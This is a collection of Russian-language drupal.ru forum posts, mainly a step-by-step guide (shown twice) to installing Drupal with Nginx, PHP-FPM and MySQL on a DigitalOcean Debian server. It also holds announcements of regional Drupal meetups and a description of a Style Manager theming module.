Энка: 67, 106а, 15, 5, 39. Выходить на остановке Гоголя по ул. Октябрьской
ФМР : 6, 9, 65, 67, 106а, 9, 10, 39. Выходить на остановке Гоголя по ул. Октябрьской
ЧМР: 28, 65. Выходить на остановке Гоголя по ул.Октябрьской
КМР: с 1 пересадкой. До Галереи на 17, от Галереи – 3, 26, 2, 9, 15, 31, 5, 9, 15, 45 Выходить на остановке Гоголя по ул. Октябрьской
ГМР:
ЦМР: 3, 2, 9, 15, 31, 5, 15 Выходить на остановке Гоголя по ул.Октябрьской
ЮМР: 95 Выходить на остановке Гоголя по ул. Октябрьской, 8, 49 Выходить на остановке Гоголя по ул. Кубанонабережная

Источник: http://www.drupal.ru/node/106758

[РЕШЕНО] настройка Nginx на Digital Ocean под Drupal

Настраиваю сервер Nginx для сайта c Domain Access на Диджитал Оушене.

Есть ли какие-нибудь особенности настройки его под Друпал для максимальной пользы?

———————————————————————————————————————-

Настроил, может кому пригодится, использовал:

каплю – Debian 7 64 php 5.4 NGINX

1. Перенос:

# использовал SCP:

https://www.digitalocean.com/community/articles/how-to-migrate-a-mysql-d…

Но можно и проще (?):

https://www.digitalocean.com/community/articles/how-to-use-sshfs-to-moun…

Вроде неплохая подборка видео по переносу:

http://www.youtube.com/playlist?list=PL91978F0CB6BC302B

2. Установка сервера:

https://www.digitalocean.com/community/articles/how-to-install-drupal-wi…

Написано под Ubuntu 13.04, я ставил в Debian 7, всё норм.

# Сначала ставим всё необходимое:

sudo apt-get update   sudo apt-get install mysql-server php5-mysql   sudo apt-get install nginx

# Запускаем сервер:

sudo service nginx start

# Устанавливаем PHP:

sudo apt-get install php5-fpm

# Настраиваем PHP:

открываем php.ini

sudo nano /etc/php5/fpm/php.ini

# Меняем на 0 (для безопасности):

cgi.fix_pathinfo=0

# Далее редактируем конфигурацию php5-fpm:

sudo nano /etc/php5/fpm/pool.d/www.conf

# В нём находим строку listen = 127.0.0.1:9000, и меняем 27.0.0.1:9000 на /var/run/php5-fpm.sock:

listen = /var/run/php5-fpm.sock

# Рестарт php5-fpm:

sudo service php5-fpm restart

# Загружаем друпал:

wget http://ftp.drupal.org/files/projects/drupal-7.25.tar.gz

7.25 – меняем на актуальную версию.

(я делал драшем)

# Распаковываем:

tar xzvf drupal-7.25.tar.gz

7.25 – меняем на актуальную версию.

## Создаем БД и юзера:

# Заходим:

mysql -u root -p

# Создаем БД:

CREATE DATABASE drupal;

вместо drupal – можно любое название

# создаем юзера:

CREATE USER drupaluser@localhost;

# Устанавливаем пароль нового юзера password

SET PASSWORD FOR drupaluser@localhost= PASSWORD("password");

# Даем юзеру привилегии:

GRANT ALL PRIVILEGES ON drupal.* TO drupaluser@localhost IDENTIFIED BY 'password';

# Обновляем MySQL:

FLUSH PRIVILEGES;

# Выходим из MySQL:

exit

# Копируем файлы:

Директория сервера в Ubuntu 13.04 находится в /usr/share/nginx/html/.

(У меня в Debian 7 в /usr/share/nginx/www/)

# Создаем директорию drupal:

sudo mkdir /usr/share/nginx/html/drupal

# Копируем файлы друпала из своей домашней директории:

cd ~ sudo mv drupal-7.25/* /usr/share/nginx/html/drupal/

## Настройка Друпала:

# Копируем default.settings.php и переименовываем в settings.php

sudo cp /usr/share/nginx/html/drupal/sites/default/default.settings.php /usr/share/nginx/html/drupal/sites/default/settings.php

# Даем права на запись:

sudo chmod a+w /usr/share/nginx/html/drupal/sites/default/settings.php

# Меняем права для директории:

sudo chmod a+w /usr/share/nginx/html/drupal/sites/default

ИЛИ Есть классный скрипт (https://www.drupal.org/node/244924) который автоматически проставляет везде нужные права :

<pre>#!/bin/bash if [ $(id -u) != 0 ]; then printf "This script must be run as root.\n" exit 1 fi drupal_path=${1%/} drupal_user=${2} httpd_group="${3:-www-data}" # Help menu print_help() { cat <<-HELP This script is used to fix permissions of a Drupal installation you need to provide the following arguments: 1) Path to your Drupal installation. 2) Username of the user that you want to give files/directories ownership. 3) HTTPD group name (defaults to www-data for Apache). Usage: (sudo) bash ${0##*/} --drupal_path=PATH --drupal_user=USER --httpd_group=GROUP Example: (sudo) bash ${0##*/} --drupal_path=/usr/local/apache2/htdocs --drupal_user=john --httpd_group=www-data HELP exit 0 } # Parse Command Line Arguments while [ $# -gt 0 ]; do case "$1" in --drupal_path=*) drupal_path="${1#*=}" ;; --drupal_user=*) drupal_user="${1#*=}" ;; --httpd_group=*) httpd_group="${1#*=}" ;; --help) print_help;; *) printf "Invalid argument, run --help for valid arguments.\n"; exit 1 esac shift done if [ -z "${drupal_path}" ] || [ ! -d "${drupal_path}/sites" ] || [ ! -f "${drupal_path}/core/modules/system/system.module" ] && [ ! -f "${drupal_path}/modules/system/system.module" ]; then printf "Please provide a valid Drupal path.\n" print_help exit 1 fi if [ -z "${drupal_user}" ] || [ $(id -un ${drupal_user} 2> /dev/null) != "${drupal_user}" ]; then printf "Please provide a valid user.\n" print_help exit 1 fi cd $drupal_path printf "Changing ownership of all contents of "${drupal_path}":\n user => "${drupal_user}" \t group => "${httpd_group}"\n" chown -R ${drupal_user}:${httpd_group} . printf "Changing permissions of all directories inside "${drupal_path}" to "rwxr-x---"...\n" find . -type d -exec chmod u=rwx,g=rx,o= '{}' \; printf "Changing permissions of all files inside "${drupal_path}" to "rw-r-----"...\n" find . -type f -exec chmod u=rw,g=r,o= '{}' \; printf "Changing permissions of "files" directories in "${drupal_path}/sites" to "rwxrwx---"...\n" cd sites find . -type d -name files -exec chmod ug=rwx,o= '{}' \; printf "Changing permissions of all files inside all "files" directories in "${drupal_path}/sites" to "rw-rw----"...\n" printf "Changing permissions of all directories inside all "files" directories in "${drupal_path}/sites" to "rwxrwx---"...\n" for x in ./*/files; do find ${x} -type d -exec chmod ug=rwx,o= '{}' \; find ${x} -type f -exec chmod ug=rw,o= '{}' \; done echo "Done settings proper permissions on files and directories"

Копируешь код данный выше в файл и называешь его, нарример “fix-permissions.sh” и запускаешь: <pre>sudo bash fix-permissions.sh --drupal_path=your/drupal/path --drupal_user=your_user_name</pre> т.е. с нашими данными, это примерно так: <pre>sudo bash fix-permissions.sh --drupal_path=/usr/share/nginx/www/директория_нашего_сайта --drupal_user=www-data</pre>

# Устанавливаем php модуль:

sudo apt-get install php5-gd

# Рестартим

sudo service php5-fpm restart

## Настраиваем виртуальные хосты:

# Копируем дефолтный конфиг и переименовываем в drupal (конфиг для нашего сайта):

sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/drupal

# Редактируем наш конфиг:

sudo nano /etc/nginx/sites-available/drupal

Как то так:

server { listen 80; root /usr/share/nginx/html/drupal; index index.php index.html index.htm; server_name 162.243.9.129; location / { try_files $uri $uri/ /index.php?q=$uri&$args; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html/drupal; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9$ location ~ \.php$ { #fastcgi_pass 127.0.0.1:9000; # With php5-fpm: fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params;   }

Т.е.:

- поменяли root на /usr/share/nginx/html/drupal

- поменяли server_name из localhost на доменное имя твоего сайта или его IP

- поменяли “try_files $uri $uri/ /index.html;” на “try_files $uri $uri/ /index.php?q=$uri&$args;”

!!! Есть более интересный вариант, если установить

sudo apt-get install nginx-doc

то в директории /usr/share/doc/nginx-doc/examples/, уже есть готовый конфиг, заточенный под друпал:

cd /usr/share/doc/nginx-doc/examples/ gunzip drupal.gz

# Активируем конфигурацию:

sudo ln -s /etc/nginx/sites-available/drupal /etc/nginx/sites-enabled/drupal

# Удаляем дефолтную:

sudo rm /etc/nginx/sites-enabled/default

# Перегружаем сервер:

sudo service nginx restart

# Открываем IP сайта (или домен)/drupal/setup.php и устанавливаем друпал.
——————————————————————————————-

А вот здесь уже готовый конфиг, но немного сложноватый:

https://github.com/perusio/drupal-with-nginx/blob/D7/README.md

с этим (от perusio) конфигом используем сборку сервера из http://debian.perusio.net/unstable/

3. Настройка мультисайтинга:

https://www.digitalocean.com/community/articles/how-to-enable-multiple-s…

4. настройка DNS:

я просто добавил домены в ДНС на оушене и прописал у регистратора – ns1.digitalocean.com ns2.digitalocean.com ns3.digitalocean.com.

5. Кэширование:

http://www.echoditto.com/blog/more-drop-bucket-drupal-8-nginx-and-microc…

# Микрокэширование

в файле конфига твоего сайта на nginx добавляешь

location ~ \.php$ { set $no_cache ""; if ($request_method !~ ^(GET|HEAD)$) { set $no_cache "1"; } if ($no_cache = "1") { add_header Set-Cookie "_mcnc=1; Max-Age=2; Path=/"; add_header X-Microcachable "0"; } if ($http_cookie ~ SESS) { #checks an auth'd user set $no_cache "1"; } #... lots of fastcgi stuff to do the caching }

http://valic.me/article/how-configure-nginx-php-fpm-mysql-memcached-apc-…

http://www.accella.net/drupal-7-memcached-apc-nginx-php5-fpm-squeeze-opt…

# Сжатие gzip:

http://stackoverflow.com/questions/15999606/enable-gzip-compression-with…

я просто вот так раскомментировал в конфиге nginx /etc/nginx/nginx.conf:

## # Gzip Settings ## gzip on; gzip_disable "msie6"; gzip_vary on; gzip_proxied any; gzip_comp_level 6; gzip_buffers 16 8k; gzip_http_version 1.1; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;

6. Защита:

- связка nginx, logwatch, fail2ban и ufw http://habrahabr.ru/post/153589/

пока только fail2ban поставил, якобы из коробки работает, посмотрим:

- http://putty.org.ru/articles/fail2ban-ssh.html

Мэмкеш настроить пока не получилось (php 5.4).

Панель не ставил – но хорошие отзывы по веста.

7. Для внеклассного чтения подробные/детальные руководства/гайды:

Очень неплохое руководства в друпал-nginx группе: https://groups.drupal.org/node/388488

С картинками + защита от атак +SSL: http://dashohoxha.blogspot.ru/2012/10/using-nginx-as-web-server-for-drup…

PS: Кому что непонятно пишите в коментах, это позволит мне лучше расписать тему.

________________________________________________________________________________________________________________

<<<ПРОДОЛЖЕНИЕ ЗДЕСЬ>>>, т.к. сюда уже не вмещается.

Источник: http://www.drupal.ru/node/106587

[РЕШЕНО] настройка Nginx на Digital Ocean под Drupal

Настраиваю сервер Nginx для сайта c Domain Access на Диджитал Оушене.

Есть ли какие-нибудь особенности настройки его под Друпал для максимальной пользы?

———————————————————————————————————————-

Настроил, может кому пригодится, использовал:

каплю – Debian 7 64 php 5.4 NGINX

1. Перенос:

# использовал SCP:

https://www.digitalocean.com/community/articles/how-to-migrate-a-mysql-d…

Но можно и проще (?):

https://www.digitalocean.com/community/articles/how-to-use-sshfs-to-moun…

Вроде неплохая подборка видео по переносу:

http://www.youtube.com/playlist?list=PL91978F0CB6BC302B

2. Установка сервера:

https://www.digitalocean.com/community/articles/how-to-install-drupal-wi…

Написано под Ubuntu 13.04, я ставил в Debian 7, всё норм.

# Сначала ставим всё необходимое:

sudo apt-get update

sudo apt-get install mysql-server php5-mysql

sudo apt-get install nginx

# Запускаем сервер:

sudo service nginx start

# Устанавливаем PHP:

sudo apt-get install php5-fpm

# Настраиваем PHP:

открываем php.ini

sudo nano /etc/php5/fpm/php.ini

# Меняем на 0 (для безопасности):

cgi.fix_pathinfo=0

# Далее редактируем конфигурацию php5-fpm:

sudo nano /etc/php5/fpm/pool.d/www.conf

# В нём находим строку listen = 127.0.0.1:9000, и меняем 27.0.0.1:9000 на /var/run/php5-fpm.sock:

listen = /var/run/php5-fpm.sock

# Рестарт php5-fpm:

sudo service php5-fpm restart

# Загружаем друпал:

wget http://ftp.drupal.org/files/projects/drupal-7.25.tar.gz

7.25 – меняем на актуальную версию.

(я делал драшем)

# Распаковываем:

tar xzvf drupal-7.25.tar.gz

7.25 – меняем на актуальную версию.

## Создаем БД и юзера:

# Заходим:

mysql -u root -p

# Создаем БД:

CREATE DATABASE drupal;

вместо drupal – можно любое название

# создаем юзера:

CREATE USER drupaluser@localhost;

# Устанавливаем пароль нового юзера password

SET PASSWORD FOR drupaluser@localhost= PASSWORD("password");

# Даем юзеру привилегии:

GRANT ALL PRIVILEGES ON drupal.* TO drupaluser@localhost IDENTIFIED BY 'password';

# Обновляем MySQL:

FLUSH PRIVILEGES;

# Выходим из MySQL:

exit

# Копируем файлы:

Директория сервера в Ubuntu 13.04 находится в /usr/share/nginx/html/.

(У меня в Debian 7 в /usr/share/nginx/www/)

# Создаем директорию drupal:

sudo mkdir /usr/share/nginx/html/drupal

# Копируем файлы друпала из своей домашней директории:

cd ~ sudo mv drupal-7.25/* /usr/share/nginx/html/drupal/

## Настройка Друпала:

# Копируем default.settings.php и переименовываем в settings.php

sudo cp /usr/share/nginx/html/drupal/sites/default/default.settings.php /usr/share/nginx/html/drupal/sites/default/settings.php

# Даем права на запись:

sudo chmod a+w /usr/share/nginx/html/drupal/sites/default/settings.php

# Меняем права для директории:

sudo chmod a+w /usr/share/nginx/html/drupal/sites/default

# Устанавливаем php модуль:

sudo apt-get install php5-gd

# Рестартим

sudo service php5-fpm restart

## Настраиваем виртуальные хосты:

# Копируем дефолтный конфиг и переименовываем в drupal (конфиг для нашего сайта):

sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/drupal

# Редактируем наш конфиг:

sudo nano /etc/nginx/sites-available/drupal

Как то так:

server { listen 80; root /usr/share/nginx/html/drupal; index index.php index.html index.htm; server_name 162.243.9.129; location / { try_files $uri $uri/ /index.php?q=$uri&$args; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html/drupal; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9$ location ~ \.php$ { #fastcgi_pass 127.0.0.1:9000; # With php5-fpm: fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params;   }

Т.е.:

- поменяли root на /usr/share/nginx/html/drupal

- поменяли server_name из localhost на доменное имя твоего сайта или его IP

- поменяли “try_files $uri $uri/ /index.html;” на “try_files $uri $uri/ /index.php?q=$uri&$args;”

!!! Есть более интересный вариант, если установить

sudo apt-get install nginx-doc

то в директории /usr/share/doc/nginx-doc/examples/, уже есть готовый конфиг, заточенный под друпал:

cd /usr/share/doc/nginx-doc/examples/ gunzip drupal.gz

# Активируем конфигурацию:

sudo ln -s /etc/nginx/sites-available/drupal /etc/nginx/sites-enabled/drupal

# Удаляем дефолтную:

sudo rm /etc/nginx/sites-enabled/default

# Перегружаем сервер:

sudo service nginx restart

# Открываем IP сайта (или домен)/drupal/setup.php и устанавливаем друпал.
——————————————————————————————-

А вот здесь уже готовый конфиг, но немного сложноватый:

https://github.com/perusio/drupal-with-nginx/blob/D7/README.md

3. Настройка мультисайтинга:

https://www.digitalocean.com/community/articles/how-to-enable-multiple-s…

4. настройка DNS:

я просто добавил домены в ДНС на оушене и прописал у регистратора – ns1.digitalocean.com ns2.digitalocean.com ns3.digitalocean.com.

5. Кэширование:

http://www.echoditto.com/blog/more-drop-bucket-drupal-8-nginx-and-microc…

# Микрокэширование

в файле конфига твоего сайта на nginx добавляешь

location ~ \.php$ { set $no_cache ""; if ($request_method !~ ^(GET|HEAD)$) { set $no_cache "1"; } if ($no_cache = "1") { add_header Set-Cookie "_mcnc=1; Max-Age=2; Path=/"; add_header X-Microcachable "0"; } if ($http_cookie ~ SESS) { #checks an auth'd user set $no_cache "1"; } #... lots of fastcgi stuff to do the caching }

http://valic.me/article/how-configure-nginx-php-fpm-mysql-memcached-apc-…

http://www.accella.net/drupal-7-memcached-apc-nginx-php5-fpm-squeeze-opt…

# Сжатие gzip:

http://stackoverflow.com/questions/15999606/enable-gzip-compression-with…

я просто вот так раскомментировал в конфиге nginx /etc/nginx/nginx.conf:

## # Gzip Settings ## gzip on; gzip_disable "msie6"; gzip_vary on; gzip_proxied any; gzip_comp_level 6; gzip_buffers 16 8k; gzip_http_version 1.1; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;

6. Защита:

- связка nginx, logwatch, fail2ban и ufw http://habrahabr.ru/post/153589/

пока только fail2ban поставил, якобы из коробки работает, посмотрим:

- http://putty.org.ru/articles/fail2ban-ssh.html

Мэмкеш настроить пока не получилось (php 5.4).

Панель не ставил – но хорошие отзывы по веста.

7. Для внеклассного чтения подробные/детальные руководства/гайды:

Очень неплохое руководства в друпал-nginx группе: https://groups.drupal.org/node/388488

С картинками + защита от атак +SSL: http://dashohoxha.blogspot.ru/2012/10/using-nginx-as-web-server-for-drup…

Короткое, но достойное + APC: http://blog.celogeek.com/201209/202/how-to-configure-nginx-php-fpm-drupa…

PS: Кому что непонятно пишите в коментах, это позволит мне лучше расписать тему.

Источник: http://www.drupal.ru/node/106587

DrupalCafe Краснодар. Планы на 2014 год

Всем привет.
В 2013 году мы попробовали новый формат – DrupalTea, собирались в антикафе и обсуждали какие-то темы, общие или же разбивались на тройки по интересам.
В принципе, всё вышло довольно неплохо, но не хватало тематичности, докладов и периодиночности.
На 2014 годы планы следующие:
-Проводить встречи 1 раз в 2-3 недели по выходным.
-У каждой встречи будет своя тематика, например, ближайшие это SEO и интеграция с социальными сетями.
-Расписание будет известно заранее.
-Переименовываемся в DrupalCafe, чтобы всем было понятнее

Вопросы, предложения?

Источник: http://www.drupal.ru/node/106480

[DrupalЮг] Друпал-чай в Краснодаре 28 декабря 2013 15:00

Всем привет.
Мы проведём очередной Южный DrupalЧай.
Время и место встречи – 28 декабря, суббота, 15:00, антикафе “Песочница“. Потом для желающих afterparty в баре.
По всем вопросам можно:
звонить – 9183163495
писать – victor@rxb.name
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Основная тема чаепития – результаты 2013 года и обсуждение проведения Drupal-конференции в мае 2014 года в Краснодаре.

Антикафе Песочница, Краснодар, ул. Кирова, 59, Краснодар
Как добраться:
Энка: 67, 106а, 15, 5, 39. Выходить на остановке Гоголя по ул. Октябрьской
ФМР : 6, 9, 65, 67, 106а, 9, 10, 39. Выходить на остановке Гоголя по ул. Октябрьской
ЧМР: 28, 65. Выходить на остановке Гоголя по ул.Октябрьской
КМР: с 1 пересадкой. До Галереи на 17, от Галереи – 3, 26, 2, 9, 15, 31, 5, 9, 15, 45 Выходить на остановке Гоголя по ул. Октябрьской
ГМР:
ЦМР: 3, 2, 9, 15, 31, 5, 15 Выходить на остановке Гоголя по ул.Октябрьской
ЮМР: 95 Выходить на остановке Гоголя по ул. Октябрьской, 8, 49 Выходить на остановке Гоголя по ул. Кубанонабережная

Источник: http://www.drupal.ru/node/105832

Drupal.org обновляется до Drupal 7 (24 часа будет недоступен)

Запуск обновления Drupal.org подтвержден. На 28-е октября 0 критических ошибок обновления и тесты производительности выглядят неплохо, поэтому дата запуска назначена на четверг, 31-е октября 2013.

Drupal.org будет выключен примерно на 24 часа во время деплоя. Сайт будет заменен на статическую страницу со ссылкой на загрузку последнего релиза Drupal. Сайты, работающие на поддоменах будут доступны, но без авторизации пользователей. Оба сайта updates.drupal.org и ftp.drupal.org будут онлайн. Drush make / dl будут работать нормально, так же как и модуль update status.

Начало развертывания новой версии планируется 31-го октября в 19:00 по московскому времени. Ожидается, что сайт будет доступен 1-го ноября в 19:00.

Если при обновлении возникнут проблемы
В случае возникновения проблем во время обновления будет произведен откат Drupal.org на Drupal 6 и восстановление из бекапа, сделанного перед началом миграции.

Где можно будет следить за процессом обновления?
В твиттере @drupal_org и @drupal_infra, а так же на IRC каналах #drupal и #drupal-contribute.

Какие изменения будут заметны, когда сайт станет онлайн?
Информацию по изменениям в функционале или пользовательском интерфейсе можно найти на странице Drupal.org D7 F.A.Q. Большинство страниц не изменит внешний вид или свои функции. Нашей целью в этом проекте является миграция с Drupal 6 на Drupal 7. Единственное место, где будут значительные изменения в пользовательском интерфейсе – это страница вопросов (issue page). В этом посте можно подробнее узнать что будет изменено на странице вопросов и почему. В общем, Drupal 7 дает нам больше возможностей для внедрения новых функций, а так же будет прирост производительности для некоторых страниц.

Почему бы не подождать и не обновиться до Drupal 8, когда он выйдет?
Обновление до Drupal 7 началось в марте 2012. Обновление заняло больше времени, чем мы ожидали из-за целого ряда причин, таких как масштаб и сложность Drupal.org, а так же ограниченности в ресурсах. Мы решили двигаться вперед и завершить обновление на Drupal 7, чтобы Drupal.org работал на последнем релизе Drupal, и чтобы мы могли использовать уроки в будущих обновлениях.

Оригинальный пост – drupal.org/node/2122515

Источник: http://www.drupal.ru/node/104903

Drupal Meetup (Drupal Cafe) #5 – 26 октября 2013 в Санкт-Петербурге


Привет всем!
Приглашаем принять участие в очередной встрече в Санкт-Петербурге!

Вход бесплатный по предварительной и обязательной регистрации.

Источник: http://www.drupal.ru/node/104265

DrupalCafe в Барнауле — 5 октября

Предлагаю провести DrupalCafe в Барнауле — 5 октября, есть чего интересного раскатать и поделиться международным опытом.
Прошу интересующихся отмечаться в комментариях, что придёте и предлагать место встречи.

В общем зову всех желающие пообщаться на тему Drupal встретится на площади Сахарова часов 6 вечера и там уже найти где посидеть и пообщаться. Хочу поближе познакомится с земляками Drupal-ерами и рассказать про себя, про Drupal 8. А так же про друзей Drupal-еров в Новосибирске, Москве, Берлине и Вильнюсе.

Источник: http://www.drupal.ru/node/104145

Осенний ReviewSprint 7-го сентября

Самый заметный вклад в развитие Друпал – это работа по созданию патчей для существующих модулей, тем и, собственно, ядра Друпала. Удельный вес код-спринтов в этом процессе, как правило, наибольший.

Друпал-сообщество Украины не стоит в стороне, а принимает в этом процессе самое активное участие: накануне Друпал-кемпов и других важных событий в разных городах Украины самоорганизовываются команды для решения различных проблем функционирования ядра Друпал. Так, в августе, нами подготовлено почти сотню патчей в ходе код-спринта, посвящённого DrupalCamp CIS, а ещё ранее мы заслужили звание «crazy Ukrainians», в результе нашей активности и задора, проявленных в ходе код-спринта, предшествовавшего DrupalCamp Kyiv 2013.

Кроме этого существует масса направлений, выбрав которые и работая сплочённой командой, можно внести заметный вклад в развитие Друпал-сообщества. Среди прочих – ревью модулей “песочницы”, программы нацеленной на помощь млодым контрибюторам, с тем, чтобы они могли попасть в список “доверенных”, получив право пополнять базу новых модулей Друпал.

Эту процедуру несколько месяцев назад пришлось пройти и нам самим, отсюда и желание (да и умение) помогать другим, и, в частности, возникла идея провести “Ревю-спринт”, в ходе которого рассмотреть столько модулей, сколько будет возможно, променторить разработчиков-новичков, с тем, чтобы они побыстрее покидали “песочницу”.

Итак, 7-го сентября, компания «Интернетдевелс» приглашает всех жеалющих поддержать нас, присоединившись к процессу модерации модулей. Начало спринта в 11:00 по киевскому времени. Для принятия участия зарегистрируйтесь здесь.

Участники, таким образом, смогут получить ревью-бонусы для собственных проектов, а в дополнение – неплохой опыт проверки чужого кода, опыт, который, наверняка, станет полезным в будущем, при изложении собственного нового модуля. И наконец, если у вас есть идея проекта и вам потребуется ревью для его апгрейда до уровня «full project» — у вас появилась уникальная возможность получить это ревью именно сейчас!

Источник: http://www.drupal.ru/node/103277

Drupal Global Training Day в Санкт-Петербурге [14 июня 2013]


Приглашаем всех желающих принять участие в практическом тренинге под эгидой инициативы Drupal Ассоциации Global Training Days. В этот день по всему миру пройдут тренинги по основам Drupal, и один из них мы проведем в Санкт-Петербурге.

В ходе тренинга участники создадут свой веб-сайт с блогом и интернет-магазином. Результатом тренинга будет доступный в интернет сайт, который можно показать друзьям и знакомым, и, что самое важное, продолжить пользоваться им после тренинга.

Тренинг проведут участники Drupal сообщества в Санкт-Петербурге.

Познакомиться с тренерами, программой тренинга и зарегистрироваться можно на странице мероприятия.

Это уже не первый наш тренинг, посмотреть видео с прошлого можно здесь.

Ждем вас!

Источник: http://www.drupal.ru/node/100508

DrupalCafe #4 в Санкт-Петербурге

Привет всем!

Как вы относитесь к еще одной встрече в Санкт-Петербурге?

Мы решили посвятить ее проектам мечты на Drupal. Каждый сможет поделиться своей мечтой!

Регистрация и детали здесь: http://drupalspb.org/event/drupalcafe-4

Источник: http://www.drupal.ru/node/100189

Модуль Style Manager (управление дизайном сайта)

Давно хотелось иметь в друпале некий инструмент который позволит переносить и переиспользовать css заготовки на других сайтах. Что и побудило написать этот модуль

Модуль Style Manager позволяет создавать заготовки для дизайна, например: стиль меню, футера, формы поиска, блоков и т.д. и переносить их с сайта на сайт (аналог модуля features, но для стилей).
Также с помощью модуля можно быстро вносить правки в дизайн сайта прямо в браузере.

Demo

1 – http://www.youtube.com/watch?v=Gg1a_v8tmS8&list=PLQWBmbu7pmqnRenMh2hp6s8… основные функции модуля

2 – http://www.youtube.com/watch?v=_oqzor6cQpw&list=PLQWBmbu7pmqnRenMh2hp6s8… как перекрашивать темы, в отличие от модуля color перекрашивать можно любые темы и предварительно подготавливать тему для этого не нужно

3 – http://www.youtube.com/watch?v=LFzelPWQBN8&list=PLQWBmbu7pmqnRenMh2hp6s8… интеграция с модулем Context, как назначить определенный цвет для раздела сайта

Функции модуля StyleManager

Редактирование CSS
StyleManager позволяет редактирования CSS из браузера и видеть сделанные изменения сразу, без перезагрузки страницы.

Категории
Настройки CSS вносятся в одну из имеющихся категорий, таких как Footer, Pager, Menu.
Категории можно экспортировать и использовать их на других сайтах.
Категории можно создавать и удалять, их количество не ограниченно.

Перенос категорий на другие сайты
В категориях css путь к элементам строится из двух частей «prefix» и «css path».
Если изменить css_prefix, то все стили станут примяться другому блоку на странице. Это удобно при переносе настроек на другой сайт.

Пресеты
Каждая из категорий (например Menu) может содержать неограниченное количество вариантов отображения (пресетов).
Пресеты можно переключать сразу видеть страницу с выбранным вариантом (стили применяются без перезагрузки страницы).
Пресеты можно клонировать и изменять.

Глобальные настройки
В модуле есть секция глобальных настроек, таких как основной и дополнительных цвет сайта, ширина сайта и т.д.
Эти глобальные настройки используются при написании стилей, можно указать что цвет ссылок должен быть таким как основной цвет сайта. После этого при смене основного цвета сайта будут меняться цвета всех ссылок.

Как на основе одного цвета можно построить дизайн сайта?
Цвет из глобальных настроек можно не только наследовать, но и модифицировать его.
Пример: у нас указан синий как базовый цвет, нужно сделать цвет ссылок такими как базовый цвет, а при наведении немного светлее, а фон футера должен быть почти черным с синеватым оттенком.
Для таких случаев в модуле есть возможность коррекции базового цвета. Можно менять тон, насыщенность и светлоту (Hue, Saturation, Lightness) и в результате использовать новый цвет который основан на базовом цвете.
В случае из примера нужно будет поставить: цвет ссылок = {базовый цвет}, цвет ссылок при наведении = {базовый цвет / Lightness + 10%}, фон футера = {базовый цвет / Lightness = 10}

Картинки и графика
Бэкграунды, иконки, кнопки и т.д., что с ними?
При экспорте и импорте категорий графика использованная в этой будет упакована в файл, и после импорта появится на новом сайте.
StyleManager может перекрашивать картинки в другой цвет, менять их контраст, делать их светлее или темнее и т.д. Для этого в модуле есть несколько режимов обработки картинок.

—-
Сейчас модуль на стадии разработки, его можно ставить на тестовые сайты, но на живых лучше не использовать
Скачать модуль можно тут – https://github.com/nikolay-shmaleniuk/style_manager
Песочница drupal.org – http://drupal.org/sandbox/n.shmaleniuk/1977500

Источник: http://www.drupal.ru/node/99348

Drupal Drinkup в Санкт-Петербурге

Привет, друзья!

Мы здорово провели время на нескольких DrupalCafe (#1, #2, #3).

Почему бы нам не разбавить наш сообщественный досуг кружечкой пива вместо привычного чая и кофе на DrupalCafe?

Рады анонсировать новый формат наших встреч – Drupal Drinkup.

Будем встречаться каждый четверг и ждем вас!

Время: 25.04.2013 20:00
Место: Санкт-Петербург, Новочеркасский пр., 35, MAMA ROMA

Подробнее смотрите на сайте питерского сообщества DrupalSPB.org.

Источник: http://www.drupal.ru/node/99286

[Краснодар][ДрупалЮг] ДрупалЧай #2. Маёвка

Первый ДрупалЧай прошёл довольно-таки неплохо.
20 человек для регионального сообщества это весомо, притом, что новичков было более половины.
Есть желание и возможность провести ДрупалЧай #2, где-то в конце апреля – начале мая.
Точную дату сообщу до середины следующей недели.
Так же, есть желание переквалифицировать встречи этого формата с обычных посиделок в некоторые мини-обучалки или же разделиться на две секции:
1-ая будет пить чай и говорить за жизнь.
2-ая будет учиться чему-то. От элементарных вещей типа создания новостей до разбора примеров API.
В антикафе “Песочница” есть проектор, так что особых проблем не возникнет.

Хочу собрать мнения народа заранее, отписывайтесь, плиз, в комментах. Интересуют темы для докладов/обучения, замечания и любые другие предложения.

Источник: http://www.drupal.ru/node/99139

[Краснодар] DrupalTea 13 апреля 2013. Вечер

Решили попробовать новый формат – ДрупалЧай.
Приходите в антикафе “Песочница” (г. Краснодар, Кирова 59 (Центр))вечером 13 апреля в в 18 часов.

Будем пить вкусный и настоящий чай предоставленный нашим чайным партнёром. На выбор – пуэр и зелёный чай.
А попутно можно познакомиться, пообщаться на друпальные и около друпальные темы, завести новые контакты, обсудить секцию Drupal на BarCamp Krasnodar 2013.
В качестве экспертов к которым можно будет подсесть и пообщаться, будут выступать
-Степаньков Виктор. Разработка модулей, поддержка сайтов, нагруженные решения.
-Петр Селфин. Создание и продвижение Drupal-сайтов

Знания, ноутбуки, чтобы где-то что-то показать, хорошение настроение и вкусный чай – гарантированы. Мероприятие ориентировано прежде всего на новичков в Друпале и веб-разработке.
Мероприятие бесплатное, вы платите только за пребывание в антикафе “Песочница” – 1.5р/минута, чай и печеньки включены в стоимость.

Вложение Размер drupaltea.jpg 114.85 КБ

Источник: http://www.drupal.ru/node/98866

Drupal Café в Одессе №3

Уважаемые друпалеры и друпалерши, мы рады пригласить Вас на Drupal Café в Одессе №3!
Мы собираемся в неформальной обстановке уютного офиса компании Ciklum, которая любезно предоставила помещение и помогает в организации мероприятия.

Вход на мероприятие бесплатный по предварительной, обязательной, регистрации.

План мероприятия.
- доклад “Google Analytics & Drupal: возможности, интерфейс, технические аспекты.”, уровень – начинающий – Ярослав Крутиков;
- доклад “Drush+Features”, уровень – начинающий – Олег Липовой;
- “Вопросы ответы новичков” – свободный формат. Общение на интересующие темы собравшихся.

Время и место
Дата проведения: 25 апреля.
Начало: 18:30.
